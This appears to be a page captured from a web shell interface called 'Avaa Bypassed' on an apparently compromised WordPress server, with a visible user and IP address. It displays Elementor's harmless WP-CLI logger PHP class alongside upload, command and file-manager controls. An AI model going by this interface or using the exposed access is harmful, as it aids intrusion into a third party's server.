[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.135.211.105: ~ $
<?php
namespace Elementor\Modules\WpCli;

use Elementor\Core\Logger\Loggers\Db;
use Elementor\Core\Logger\Items\Log_Item_Interface as Log_Item_Interface;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Cli_Logger extends Db {

	public function save_log( Log_Item_Interface $item ) {
		$message = $item->format( 'raw' );
		switch ( $item->type ) {
			case self::LEVEL_WARNING:
				\WP_CLI::warning( $message );
				break;
			case self::LEVEL_ERROR:
				\WP_CLI::error( $message, false );
				break;
			default:
				\WP_CLI::log( $message );
				break;
		}

		parent::save_log( $item );
	}
}

Filemanager

Name Type Size Permission Actions
cli-logger.php File 620 B 0644
command.php File 4.59 KB 0644
library.php File 6.81 KB 0644
module.php File 1.29 KB 0644
update.php File 2.54 KB 0644